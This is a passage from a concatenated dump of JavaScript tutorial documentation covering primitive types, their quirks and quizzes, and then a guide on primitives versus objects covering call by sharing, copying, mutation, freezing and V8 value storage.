└─────────────────────────────────────────────────────────────────────────┘ ``` ```javascript // ❌ WRONG - Creates an object, not a primitive const str = new String("hello"); console.log(typeof str); // "object" (not "string"!) console.log(str === "hello"); // false (object vs primitive) // ✓ CORRECT - Use primitive literals const str2 = "hello"; console.log(typeof str2); // "string" console.log(str2 === "hello"); // true ``` <Warning> **The Trap:** Using `new String()`, `new Number()`, or `new Boolean()` creates wrapper **objects**, not primitives. This breaks equality checks (`===`), `typeof` comparisons, and can cause subtle bugs. Always use literal syntax: `"hello"`, `42`, `true`. </Warning> <Tip> **Rule of Thumb:** Never use `new` with `String`, `Number`, or `Boolean`. The only exception is when you intentionally need the wrapper object (which is rare). For type conversion, use them as functions without `new`: `String(123)` returns `"123"` (a primitive). </Tip> --- ## JavaScript Quirks & Gotchas JavaScript has some famous "weird parts" that every developer should know. Most relate to primitives and type coercion. <AccordionGroup> <Accordion title="1. typeof null === 'object'"> ```javascript console.log(typeof null); // "object" ``` **Why?** This is a bug from JavaScript's first implementation in 1995. In the original code, values had a small label to identify their type. Objects had the label `000`, and `null` was represented as the NULL pointer (`0x00`), which also had `000`. **Why not fixed?** A proposal to fix it was rejected because too much existing code checks `typeof x === "object"` and expects `null` to pass. **Workaround:** ```javascript // Always check for null explicitly if (value !== null && typeof value === "object") { // It's a real object } ``` </Accordion> <Accordion title="2. NaN !== NaN"> ```javascript console.log(NaN === NaN); // false! console.log(NaN !== NaN); // true! ``` NaN is so confused about its identity that it doesn't even equal itself! **Why?** By the IEEE 754 specification, NaN represents "Not a Number", an undefined or unrepresentable result. Since it's not a specific number, it can't equal anything, including itself. **How to check for NaN:** ```javascript // Don't do this if (value === NaN) { } // Never true! // Do this instead if (Number.isNaN(value)) { } // ES6, recommended if (isNaN(value)) { } // Older, has quirks ``` <Note> [`isNaN()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN) converts the value first, so `isNaN("hello")` is `true`. [`Number.isNaN()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isNaN) only returns `true` for actual `NaN`. </Note> </Accordion> <Accordion title="3. 0.1 + 0.2 !== 0.3"> ```javascript console.log(0.1 + 0.2); // 0.30000000000000004 console.log(0.1 + 0.2 === 0.3); // false ``` **Why?** Computers store numbers in binary. Just like 1/3 can't be perfectly represented in decimal (0.333...), 0.1 can't be perfectly represented in binary. **Solutions:** ```javascript // 1. Work in integers (cents, not dollars) — RECOMMENDED let totalCents = 10 + 20; // 30 (accurate!) let dollars = totalCents / 100; // 0.3 // 2. Use Intl.NumberFormat for display new Intl.NumberFormat('en-US', { style: 'currency', currency: 'USD' }).format(0.30); // "$0.30" // 3. Compare with tolerance for equality checks Math.abs((0.1 + 0.2) - 0.3) < Number.EPSILON; // true (Number.EPSILON is the smallest difference) // 4. Use toFixed() for simple rounding (0.1 + 0.2).toFixed(2); // "0.30" ``` </Accordion> <Accordion title="4. Empty String is Falsy, But..."> ```javascript console.log(Boolean("")); // false (empty string is falsy) console.log(Boolean(" ")); // true (space is truthy!) console.log(Boolean("0")); // true (string "0" is truthy!) console.log(Boolean(0)); // false (number 0 is falsy) console.log("" == false); // true (coercion) console.log("" === false); // false (different types) ``` **The lesson:** Be careful with truthy/falsy checks on strings. An empty string `""` is falsy, but a string with just whitespace `" "` is truthy. ```javascript // Check for empty or whitespace-only string if (str.trim() === "") { console.log("String is empty or whitespace"); } ``` </Accordion> <Accordion title="5. + Operator String Concatenation"> ```javascript console.log(1 + 2); // 3 (number addition) console.log("1" + "2"); // "12" (string concatenation) console.log(1 + "2"); // "12" (number converted to string!) console.log("1" + 2); // "12" (number converted to string!) console.log(1 + 2 + "3"); // "33" (left to right: 1+2=3, then 3+"3"="33") console.log("1" + 2 + 3); // "123" (left to right: "1"+2="12", "12"+3="123") ``` **Why?** The `+` operator does addition for numbers, but concatenation for strings. When mixed, JavaScript converts numbers to strings. **Be explicit:** ```javascript // Force number addition Number("1") + Number("2"); // 3 parseInt("1") + parseInt("2"); // 3 // Force string concatenation String(1) + String(2); // "12" `${1}${2}`; // "12" ``` </Accordion> </AccordionGroup> <Tip> **Want to go deeper?** Kyle Simpson's book "You Don't Know JS: Types & Grammar" is the definitive guide to understanding these quirks. It's free to read online! </Tip> --- ## Key Takeaways <Info> **The key things to remember about Primitive Types:** 1. **7 primitives**: string, number, bigint, boolean, undefined, null, symbol 2. **Primitives are immutable** — you can't change the value itself, only create new values 3. **Compared by value** — `"hello" === "hello"` is true because the values match 4. **typeof works for most types** — except `typeof null` returns `"object"` (historical bug) 5. **Autoboxing** allows primitives to use methods — JavaScript wraps them temporarily 6. **undefined vs null** — undefined is "not assigned," null is "intentionally empty" 7. **Be aware of gotchas** — `NaN !== NaN`, `0.1 + 0.2 !== 0.3`, falsy values 8. **Don't use `new String()` etc.** — creates objects, not primitives 9. **Symbols create unique identifiers** — even `Symbol("id") !== Symbol("id")` 10. **Use `Number.isNaN()` to check for NaN** — don't use equality comparison since `NaN !== NaN` </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What are the 7 primitive types in JavaScript?"> **Answer:** 1. `string` - text data 2. `number` - integers and decimals 3. `bigint` - large integers 4. `boolean` - true/false 5. `undefined` - no value assigned 6. `null` - intentionally empty 7. `symbol` - unique identifier Remember: Everything else is an object (arrays, functions, dates, etc.). </Accordion> <Accordion title="Question 2: What does typeof null return and why?"> **Answer:** `typeof null` returns `"object"`. This is a bug from JavaScript's original implementation in 1995. Values were stored with type tags, and both objects and `null` had the same `000` tag. The bug was never fixed because too much existing code depends on this behavior. To check for null, use `value === null` instead. </Accordion> <Accordion title="Question 3: Why does 0.1 + 0.2 !== 0.3?"> **Answer:** Because JavaScript (like all languages) uses binary floating-point (IEEE 754) to store numbers. Just like 1/3 can't be perfectly represented in decimal (0.333...), 0.1 can't be perfectly represented in binary. The tiny rounding errors accumulate, giving us `0.30000000000000004` instead of `0.3`. Solutions: Use integers (work in cents), use `toFixed()` for display, compare with tolerance, or use a decimal math library. </Accordion> <Accordion title="Question 4: What's the difference between null and undefined?"> **Answer:** - **`undefined`**: Means "no value has been assigned." JavaScript sets this automatically for uninitialized variables, missing function arguments, and non-existent properties. - **`null`**: Means "intentionally empty." Developers use this explicitly to indicate "this has no value on purpose." Key difference: `undefined` is the *default* empty value; `null` is the *intentional* empty value. ```javascript let x; // undefined (automatic) let y = null; // null (explicit) ``` </Accordion> <Accordion title="Question 5: How can 'hello'.toUpperCase() work if primitives have no methods?"> **Answer:** Through **autoboxing** (also called "auto-wrapping"). When you call a method on a primitive: 1. JavaScript temporarily wraps it in a wrapper object (`String`, `Number`, etc.) 2. The method is called on the wrapper object 3. The result is returned 4. The wrapper object is discarded So `"hello".toUpperCase()` becomes `(new String("hello")).toUpperCase()` behind the scenes. The original primitive `"hello"` is never changed. </Accordion> <Accordion title="Question 6: Why can't you use === to check if a value is NaN?"> **Answer:** Because `NaN` is the only value in JavaScript that is not equal to itself! ```javascript console.log(NaN === NaN); // false! ``` This is per the IEEE 754 floating-point specification. `NaN` represents an undefined or unrepresentable mathematical result, so it can't equal anything, including itself. **How to check for NaN:** ```javascript // ❌ WRONG - Never works! if (value === NaN) { } // ✓ CORRECT - Use Number.isNaN() if (Number.isNaN(value)) { } ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What are the 7 primitive types in JavaScript?"> JavaScript has exactly seven primitive types: string, number, bigint, boolean, undefined, null, and symbol. As defined by the ECMAScript specification, these are the fundamental building blocks of all data in JavaScript — everything else is an object. </Accordion> <Accordion title="Why does typeof null return 'object' in JavaScript?"> This is a well-documented bug from JavaScript's first implementation in 1995. In the original C source code, values were stored with type tags, and both objects and null shared the `000` tag. A proposal to fix it (typeof null === "null") was rejected by TC39 because too much existing code depends on the current behavior. </Accordion> <Accordion title="What is autoboxing in JavaScript?"> Autoboxing is the process where JavaScript temporarily wraps a primitive in its corresponding wrapper object (String, Number, Boolean) when you access a property or call a method. For example, `"hello".toUpperCase()` works because the engine briefly creates a String object, calls the method, and discards the wrapper. As documented in MDN, this is why primitives appear to have methods even though they are not objects. </Accordion> <Accordion title="What is the difference between null and undefined in JavaScript?"> `undefined` means "no value has been assigned" and is set automatically by the JavaScript engine. `null` means "intentionally empty" and is always set explicitly by the developer. According to the ECMAScript specification, `null == undefined` is true under loose equality, but `null === undefined` is false because they are different types. </Accordion> <Accordion title="Why does 0.1 + 0.2 not equal 0.3 in JavaScript?"> This happens because JavaScript uses the IEEE 754 double-precision floating-point standard to represent numbers. Certain decimal fractions like 0.1 cannot be represented exactly in binary, leading to tiny rounding errors. This is not a JavaScript-specific issue — the same behavior occurs in Python, Java, C++, and virtually every language that uses IEEE 754. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Primitives vs Objects" icon="clone" href="/concepts/primitives-objects"> How primitives and objects behave differently in JavaScript </Card> <Card title="Type Coercion" icon="shuffle" href="/concepts/type-coercion"> How JavaScript converts between types automatically </Card> <Card title="== vs === vs typeof" icon="equals" href="/concepts/equality-operators"> Understanding equality operators and type checking </Card> <Card title="Scope & Closures" icon="layer-group" href="/concepts/scope-and-closures"> How variables are accessed and how functions remember their environment </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Primitive — MDN Glossary" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Primitive"> Official MDN glossary definition of primitive values in JavaScript. </Card> <Card title="JavaScript data types and data structures — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures"> Comprehensive MDN guide to JavaScript's type system and data structures. </Card> <Card title="typeof operator — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof"> Complete reference for the typeof operator including its quirks and return values. </Card> <Card title="Symbol — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol"> Deep dive into JavaScript Symbols, well-known symbols, and use cases. </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Primitive and Non-primitive data-types in JavaScript" icon="newspaper" href="https://www.geeksforgeeks.org/primitive-and-non-primitive-data-types-in-javascript"> Beginner-friendly overview covering all 7 primitive types with a comparison table showing the differences between primitives and objects. </Card> <Card title="How numbers are encoded in JavaScript" icon="newspaper" href="http://2ality.com/2012/04/number-encoding.html"> Expert deep-dive by Dr. Axel Rauschmayer into IEEE 754 floating-point representation, explaining why 0.1 + 0.2 !== 0.3 and how JavaScript stores numbers internally. </Card> <Card title="(Not) Everything in JavaScript is an Object" icon="newspaper" href="https://dev.to/d4nyll/not-everything-in-javascript-is-an-object"> Debunks the common myth that "everything in JS is an object." Shows how autoboxing creates the illusion that primitives have methods, with diagrams explaining what happens behind the scenes. </Card> <Card title="Methods of Primitives" icon="newspaper" href="https://javascript.info/primitives-methods"> The javascript.info guide walks through each wrapper type (String, Number, Boolean) and includes interactive tasks to test your understanding. One of the best resources for learning autoboxing. </Card> <Card title="The Differences Between Object.freeze() vs Const" icon="newspaper" href="https://medium.com/@bolajiayodeji/the-differences-between-object-freeze-vs-const-in-javascript-4eacea534d7c"> Clears up the common confusion between const (prevents reassignment) and immutability (prevents mutation). Short and beginner-friendly. </Card> </CardGroup> ## Books <Card title="You Don't Know JS: Types & Grammar — Kyle Simpson" icon="book" href="https://github.com/getify/You-Dont-Know-JS/blob/2nd-ed/types-grammar/README.md"> The definitive deep-dive into JavaScript types. Free to read online. Covers primitives, coercion, and the "weird parts" that trip up developers. Essential reading for understanding JavaScript's type system. </Card> ## Courses <CardGroup cols={2}> <Card title="JavaScript: Understanding the Weird Parts (First 3.5 Hours) — Anthony Alicea" icon="graduation-cap" href="https://www.youtube.com/watch?v=Bv_5Zv5c-Ts"> Free preview of one of the most acclaimed JavaScript courses ever made. Covers types, coercion, and the "weird parts" that confuse developers. Perfect starting point before buying the full course. </Card> <Card title="JavaScript: Understanding the Weird Parts (Full Course) — Anthony Alicea" icon="graduation-cap" href="https://www.udemy.com/course/understand-javascript/"> The complete 12-hour course covering types, operators, objects, and engine internals. Anthony's explanations of scope, closures, and prototypes are particularly helpful for intermediate developers. </Card> <Card title="Introduction to Primitives — Piccalilli" icon="graduation-cap" href="https://piccalil.li/javascript-for-everyone/lessons/9"> Part of the "JavaScript for Everyone" course by Mat Marquis. This module covers all 7 primitive types with dedicated lessons for Numbers, Strings, Booleans, null/undefined, BigInt, and Symbol. Beautifully written with a fun narrative style. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="JavaScript Reference vs Primitive Types — Academind" icon="video" href="https://www.youtube.com/watch?v=9ooYYRLdg_g"> Academind's Max shows what happens in memory when you copy primitives vs objects. The side-by-side code examples make the difference immediately obvious. </Card> <Card title="Value Types and Reference Types — Programming with Mosh" icon="video" href="https://www.youtube.com/watch?v=e-_mDyqm2oU"> Mosh Hamedani's clear teaching style makes this complex topic easy to understand. Includes practical examples showing memory behavior. </Card> <Card title="Everything You Never Wanted to Know About JavaScript Numbers — JSConf" icon="video" href="https://www.youtube.com/watch?v=MqHDDtVYJRI"> JSConf talk by Bartek Szopka diving deep into the quirks of JavaScript numbers. Covers IEEE 754, precision issues, and edge cases. </Card> </CardGroup> ================================================ FILE: docs/concepts/primitives-objects.mdx ================================================ --- title: "Primitives vs Objects: How JavaScript Values Actually Work" sidebarTitle: "Primitives vs Objects: How Values Work" description: "Learn how JavaScript primitives and objects differ in behavior. Understand immutability, call-by-sharing semantics, why mutation works but reassignment doesn't, and how V8 actually stores values." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "JavaScript Fundamentals" "article:tag": "javascript primitives vs objects, pass by value reference, javascript immutability, call by sharing, value types reference types" --- Have you ever wondered why changing one variable unexpectedly changes another? Why does this happen? ```javascript const original = { name: "Alice" }; const copy = original; copy.name = "Bob"; console.log(original.name); // "Bob" — Wait, what?! ``` The answer lies in how JavaScript **values behave** — not where they're stored. **Primitives** are immutable and behave independently, while **objects** are mutable and can be shared between variables. <Warning> **Myth vs Reality:** You may have heard that "primitives are stored on the stack" and "objects are stored on the heap," or that "primitives are passed by value" while "objects are passed by reference." These are simplifications that are technically incorrect. In this guide, we'll learn how JavaScript actually works. </Warning> <Info> **What you'll learn in this guide:** - The real difference between primitives and objects (it's about mutability, not storage) - Why JavaScript uses "call by sharing" — not "pass by value" or "pass by reference" - Why mutation works through function parameters but reassignment doesn't - Why `{} === {}` returns `false` (object identity) - How to properly clone objects (shallow vs deep copy) - Common bugs caused by shared references - **Bonus:** How V8 actually stores values in memory (the technical truth) </Info> <Warning> **Prerequisite:** This guide assumes you understand [Primitive Types](/concepts/primitive-types). If you're not familiar with the 7 primitive types in JavaScript, read that guide first! </Warning> --- ## A Note on Terminology Before we dive in, let's clear up some widespread misconceptions that even experienced developers get wrong. <Info> **Myth vs Reality** | Common Myth | The Reality | |-------------|-------------| | "Value types" vs "reference types" | ECMAScript only defines **primitives** and **objects** | | "Primitives are stored on the stack" | Implementation-specific — not in the spec | | "Objects are stored on the heap" | Implementation-specific — not in the spec | | "Primitives are passed by value" | JavaScript uses **call by sharing** for ALL values | | "Objects are passed by reference" | Objects are passed by sharing (you can't reassign the original) | </Info> ### What ECMAScript Actually Says The [ECMAScript specification](https://tc39.es/ecma262/#sec-ecmascript-data-types-and-values) (the official JavaScript standard) defines exactly two categories of values. According to the 2023 State of JS survey, confusion around value vs reference behavior remains one of the most common pain points for developers learning JavaScript: | ECMAScript Term | What It Includes | |-----------------|------------------| | **Primitive values** | string, number, bigint, boolean, undefined, null, symbol | | **Objects** | Everything else (plain objects, arrays, functions, dates, maps, sets, etc.) | That's it. The spec never mentions "value types," "reference types," "stack," or "heap." These are implementation details that vary by JavaScript engine. ### The Real Distinction: Mutability The fundamental difference between primitives and objects is **mutability**: - **Primitives are immutable** — you cannot change a primitive value, only replace it - **Objects are mutable** — you CAN change an object's contents This distinction explains ALL the behavioral differences you'll encounter. --- ## How Primitives and Objects Behave ### Primitives: Immutable and Independent The 7 primitive types behave as if each variable has its own independent copy: | Type | Example | Key Behavior | |------|---------|--------------| | `string` | `"hello"` | Immutable — methods return NEW strings | | `number` | `42` | Immutable — arithmetic creates NEW numbers | | `bigint` | `9007199254740993n` | Immutable — operations create NEW BigInts | | `boolean` | `true` | Immutable | | `undefined` | `undefined` | Immutable | | `null` | `null` | Immutable | | [`symbol`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) | `Symbol("id")` | Immutable AND has identity | **Key characteristics:** - **Immutable** — you can't change them, only replace them - **Behave independently** — copies don't affect each other - **Compared by value** — same value = equal (except Symbols) <Tip> **Why immutability matters:** When you write `str.toUpperCase()`, you get a NEW string. The original `str` is unchanged. This is true for ALL string methods — they never mutate the original string. </Tip> ```javascript let greeting = "hello"; let shout = greeting.toUpperCase(); console.log(greeting); // "hello" — unchanged! console.log(shout); // "HELLO" — new string ``` ### Objects: Mutable and Shared Everything that's not a primitive is an object: | Type | Example | Key Behavior | |------|---------|--------------| | Object | `{ name: "Alice" }` | Mutable — properties can change | | Array | `[1, 2, 3]` | Mutable — elements can change | | Function | `function() {}` | Mutable (has properties) | | [Date](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date) | `new Date()` | Mutable | | [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) | `new Map()` | Mutable | | [Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) | `new Set()` | Mutable | **Key characteristics:** - **Mutable** — you CAN change their contents - **Shared by default** — assignment copies the reference, not the object - **Compared by identity** — same object = equal (not same contents!) --- ## The House Key Analogy Think of objects like houses and variables like keys to those houses: **Primitives (like writing a note):** You write "42" on a sticky note and give a copy to your friend. You each have independent notes. If they change theirs to "100", your note still says "42". **Objects (like sharing house keys):** Instead of giving your friend the house itself, you give them a copy of your house key. You both have keys to the SAME house. If they rearrange the furniture, you'll see it too — because it's the same house! ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ PRIMITIVES vs OBJECTS: THE KEY ANALOGY │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ PRIMITIVES (Independent Notes) OBJECTS (Keys to Same House) │ │ │ │ ┌─────────────┐ ┌─────────────┐ │ │ │ a = "42" │ │ x = 🔑 ─────────────┐ │ │ └─────────────┘ └─────────────┘ │ │ │ ▼ │ │ ┌─────────────┐ ┌─────────────┐ ┌──────────┐ │ │ │ b = "42" │ (separate copy) │ y = 🔑 ─────────►│ 🏠 │ │ │ └─────────────┘ └─────────────┘ │ {name} │ │ │ └──────────┘ │ │ Change b to "100"? Change the house via y? │ │ a stays "42"! x sees the change too! │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` The key insight: **it's not about where the key is stored, it's about what it points to.** --- ## Call by Sharing: How JavaScript Passes Arguments Here's where most tutorials get it wrong. JavaScript doesn't use "pass by value" OR "pass by reference." It uses a third strategy called **[call by sharing](https://en.wikipedia.org/wiki/Evaluation_strategy#Call_by_sharing)** (also known as "call by object sharing"). <Info> **Call by sharing** was first described by Barbara Liskov for the CLU programming language in 1974. JavaScript, Python, Ruby, and Java all use this evaluation strategy. </Info> ### What is Call by Sharing? When you pass an argument to a function, JavaScript: 1. Creates a **copy of the reference** (the "key" to the object) 2. The function parameter gets this copied reference 3. Both the original variable AND the parameter point to the SAME object ### The Golden Rule | Operation | Does it affect the original? | |-----------|------------------------------| | **Mutating properties** (`obj.name = "Bob"`) | ✅ Yes — same object | | **Reassigning the parameter** (`obj = newValue`) | ❌ No — only rebinds locally | ### Mutation Works When you modify an object through a function parameter, the original object is affected: ```javascript function rename(person) { person.name = "Bob"; // Mutates the ORIGINAL object } const user = { name: "Alice" }; rename(user); console.log(user.name); // "Bob" — changed! ``` **What happens in memory:** ``` BEFORE rename(user): INSIDE rename(user): ┌────────────┐ ┌────────────┐ │user = 🔑 ──┼──► { name: │user = 🔑 ──┼──► { name: "Bob" } └────────────┘ "Alice" } ├────────────┤ ▲ │person= 🔑 ─┼───────┘ └────────────┘ (same house!) ``` ### Reassignment Doesn't Work If you reassign the parameter to a new object, it only changes the local variable: ```javascript function replace(person) { person = { name: "Charlie" }; // Creates NEW local reference } const user = { name: "Alice" }; replace(user); console.log(user.name); // "Alice" — unchanged! ``` **What happens in memory:** ``` INSIDE replace(user): ┌────────────┐ ┌─────────────────┐ │user = 🔑 ──┼───►│ { name: "Alice" }│ ← Original, unchanged ├────────────┤ └─────────────────┘ │person= 🔑 ─┼───►┌───────────────────┐ └────────────┘ │ { name: "Charlie" }│ ← New object, local only └───────────────────┘ ``` <Warning> **Why this matters:** If JavaScript used true "pass by reference" (like C++ references), reassigning the parameter WOULD change the original. It doesn't in JavaScript — that's how you know it's "call by sharing," not "pass by reference." </Warning> ### This Applies to Primitives Too! Here's the mind-bending part: **primitives are also passed by sharing**. You just can't observe it because primitives are immutable — there's no way to mutate them through the parameter. ```javascript function double(num) { num = num * 2; // Reassigns the LOCAL variable return num; } let x = 10; let result = double(x); console.log(x); // 10 — unchanged (reassignment doesn't affect original) console.log(result); // 20 — returned value ``` The same "reassignment doesn't work" rule applies to primitives. It's just that with primitives, there's no mutation to try anyway! --- ## Copying Behavior: The Critical Difference This is where bugs love to hide. ### Copying Primitives: Independent Copies When you copy a primitive, they behave as completely independent values: ```javascript let a = 10; let b = a; // b gets an independent copy b = 20; // changing b has NO effect on a console.log(a); // 10 (unchanged!) console.log(b); // 20 ``` ### Copying Objects: Shared References When you copy an object variable, you copy the *reference*. Both variables now point to the SAME object: ```javascript let obj1 = { name: "Alice" }; let obj2 = obj1; // obj2 gets a copy of the REFERENCE obj2.name = "Bob"; // modifies the SAME object! console.log(obj1.name); // "Bob" (changed!) console.log(obj2.name); // "Bob" ``` ### The Array Gotcha Arrays are objects too, so they behave the same way: ```javascript let arr1 = [1, 2, 3]; let arr2 = arr1; // arr2 points to the SAME array arr2.push(4); // modifies the shared array console.log(arr1); // [1, 2, 3, 4] — Wait, what?! console.log(arr2); // [1, 2, 3, 4] ``` <Warning> **This trips up EVERYONE at first!** When you write `let arr2 = arr1`, you're NOT creating a new array. You're creating a second variable that points to the same array. Any changes through either variable affect both. </Warning> --- ## Comparison Behavior ### Primitives: Compared by Value Two primitives are equal if they have the same value: ```javascript let a = "hello"; let b = "hello"; console.log(a === b); // true — same value let x = 42; let y = 42; console.log(x === y); // true — same value ``` ### Objects: Compared by Identity Two objects are equal only if they are the SAME object (same reference): ```javascript let obj1 = { name: "Alice" }; let obj2 = { name: "Alice" }; console.log(obj1 === obj2); // false — different objects! let obj3 = obj1; console.log(obj1 === obj3); // true — same reference ``` ### The Empty Object/Array Trap ```javascript console.log({} === {}); // false — two different empty objects console.log([] === []); // false — two different empty arrays console.log([1,2] === [1,2]); // false — two different arrays ``` <Tip> **How to compare objects/arrays by content:** ```javascript // Simple (but limited) approach JSON.stringify(obj1) === JSON.stringify(obj2) // For arrays of primitives arr1.length === arr2.length && arr1.every((v, i) => v === arr2[i]) // For complex cases, use a library like Lodash _.isEqual(obj1, obj2) ``` **Caution with JSON.stringify:** Property order matters! `{a:1, b:2}` and `{b:2, a:1}` produce different strings. It also fails with `undefined`, functions, Symbols, circular references, `NaN`, and `Infinity`. </Tip> ### Symbols: The Exception [Symbols](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) are primitives but have **identity** — two symbols with the same description are NOT equal: ```javascript const sym1 = Symbol("id"); const sym2 = Symbol("id"); console.log(sym1 === sym2); // false — different symbols! console.log(sym1 === sym1); // true — same symbol ``` --- ## Mutation vs Reassignment Understanding this distinction is crucial for avoiding bugs. ### Mutation: Changing the Contents Mutation modifies the existing object in place: ```javascript const arr = [1, 2, 3]; // These are all MUTATIONS: arr.push(4); // [1, 2, 3, 4] arr[0] = 99; // [99, 2, 3, 4] arr.pop(); // [99, 2, 3] arr.sort(); // modifies in place const obj = { name: "Alice" }; // These are all MUTATIONS: obj.name = "Bob"; // changes property obj.age = 25; // adds property delete obj.age; // removes property ``` ### Reassignment: Pointing to a New Value Reassignment makes the variable point to something else entirely: ```javascript let arr = [1, 2, 3]; arr = [4, 5, 6]; // REASSIGNMENT — new array let obj = { name: "Alice" }; obj = { name: "Bob" }; // REASSIGNMENT — new object ``` ### The `const` Trap `const` prevents **reassignment** but NOT **mutation**: ```javascript const arr = [1, 2, 3]; // ✅ Mutations are ALLOWED: arr.push(4); // works! arr[0] = 99; // works! // ❌ Reassignment is BLOCKED: arr = [4, 5, 6]; // TypeError: Assignment to constant variable const obj = { name: "Alice" }; // ✅ Mutations are ALLOWED: obj.name = "Bob"; // works! obj.age = 25; // works! // ❌ Reassignment is BLOCKED: obj = { name: "Eve" }; // TypeError: Assignment to constant variable ``` <Warning> **Common misconception:** Many developers think `const` creates an "immutable" variable. It doesn't! It only prevents reassignment. The contents of objects and arrays declared with `const` can still be changed. </Warning> --- ## True Immutability with [`Object.freeze()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze) If you need a truly immutable object, use `Object.freeze()`: ```javascript const user = Object.freeze({ name: "Alice", age: 25 }); user.name = "Bob"; // Silently fails (or throws in strict mode) user.email = "a@b.com"; // Can't add properties delete user.age; // Can't delete properties console.log(user); // { name: "Alice", age: 25 } — unchanged! ``` <Warning> **Object.freeze() is shallow!** It only freezes the top level. Nested objects can still be modified: ```javascript const user = Object.freeze({ name: "Alice", address: { city: "NYC" } }); user.name = "Bob"; // Blocked user.address.city = "LA"; // Works! Nested object not frozen console.log(user.address.city); // "LA" ``` </Warning> For deep freezing, you need a recursive function or use `structuredClone()` to create a deep copy first. --- ## Shallow Copy vs Deep Copy When you need a truly independent copy of an object, you have two options. ### Shallow Copy: One Level Deep A shallow copy creates a new object with copies of the top-level properties. But nested objects are still shared! ```javascript const original = { name: "Alice", address: { city: "NYC" } }; // Shallow copy methods: const copy1 = { ...original }; // Spread operator const copy2 = Object.assign({}, original); // Object.assign // Top-level changes are independent: copy1.name = "Bob"; console.log(original.name); // "Alice" ✅ // But nested objects are SHARED: copy1.address.city = "LA"; console.log(original.address.city); // "LA" 😱 ``` ### Deep Copy: All Levels A deep copy creates completely independent copies at every level. ```javascript const original = { name: "Alice", scores: [95, 87, 92], address: { city: "NYC" } }; // structuredClone() — the modern way (ES2022+) const deep = structuredClone(original); // Now everything is independent: deep.address.city = "LA"; console.log(original.address.city); // "NYC" ✅ deep.scores.push(100); console.log(original.scores); // [95, 87, 92] ✅ ``` <Tip> **Which to use:** - **[`structuredClone()`](https://developer.mozilla.org/en-US/docs/Web/API/structuredClone)** — As documented by MDN, this API is available in all major browsers since 2022 and is the recommended approach for most cases - **`JSON.parse(JSON.stringify())`** — Only for simple objects (loses functions, Dates, undefined) - **Lodash `_.cloneDeep()`** — When you need maximum compatibility </Tip> --- ## How Engines Actually Store Values <Info> **Why this section exists:** Many tutorials teach that "primitives go on the stack, objects go on the heap." This is a simplification that's often wrong. Here's what actually happens. </Info> ### The ECMAScript Specification Doesn't Define Storage The ECMAScript specification defines **behavior**, not **implementation**. It never mentions "stack" or "heap." Different JavaScript engines can store values however they want, as long as the behavior matches the spec. ### How V8 Actually Works V8 (Chrome, Node.js, Deno) uses a technique called **pointer tagging** to efficiently represent values. According to the V8 team's blog, this optimization is critical for JavaScript performance — it allows the engine to distinguish small integers from heap pointers without additional memory lookups. #### Smis (Small Integers): The Only "Direct" Values The ONLY values V8 stores "directly" (not on the heap) are **Smis** — Small Integers in the range approximately -2³¹ to 2³¹-1 (about -2 billion to 2 billion). ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ V8 POINTER TAGGING │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Smi (Small Integer): │ │ ┌────────────────────────────────────────────────────────────┬─────┐ │ │ │ Integer Value (31 bits) │ 0 │ │ │ └────────────────────────────────────────────────────────────┴─────┘ │ │ Tag bit │ │ │ │ Heap Pointer (everything else): │ │ ┌────────────────────────────────────────────────────────────┬─────┐ │ │ │ Memory Address │ 1 │ │ │ └────────────────────────────────────────────────────────────┴─────┘ │ │ Tag bit │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` #### Everything Else Lives on the Heap This includes values you might think are "simple": | Value Type | Where It's Stored | Why | |------------|-------------------|-----| | Small integers (-2³¹ to 2³¹-1) | Directly (as Smi) | Fixed size, fits in pointer | | Large numbers | Heap (HeapNumber) | Needs 64-bit float | | **Strings** | **Heap** | **Dynamically sized** | | **BigInts** | **Heap** | **Arbitrary precision** | | Objects, Arrays | Heap | Complex structures | <Warning> **The big misconception:** Strings are NOT fixed-size values stored on the stack. A string like `"hello"` and a string with a million characters are both stored on the heap. The variable just holds a pointer to that heap location. </Warning> ### String Interning V8 optimizes identical strings by potentially sharing memory (string interning). Two variables with the value `"hello"` might point to the same memory location internally. But this is an optimization — strings still *behave* as independent values because they're immutable. ### Why the Stack/Heap Model is Taught The simplified stack/heap model is useful for understanding **behavioral differences**: - Things that "behave like stack values" = act independently - Things that "behave like heap values" = can be shared Just know it's a **mental model for behavior**, not how JavaScript actually works internally. <Tip> **Want to go deeper?** Check out our [JavaScript Engines](/concepts/javascript-engines) guide for more on V8 internals, JIT compilation, and optimization. </Tip> --- ## Common Bugs and Pitfalls <AccordionGroup> <Accordion title="1. Accidental Object/Array Mutation"> ```javascript // BUG: Modifying function parameter function processUsers(users) { users.push({ name: "New User" }); // Mutates original! return users; } const myUsers = [{ name: "Alice" }]; processUsers(myUsers); console.log(myUsers); // [{ name: "Alice" }, { name: "New User" }] // FIX: Create a copy first function processUsers(users) { const copy = [...users]; copy.push({ name: "New User" 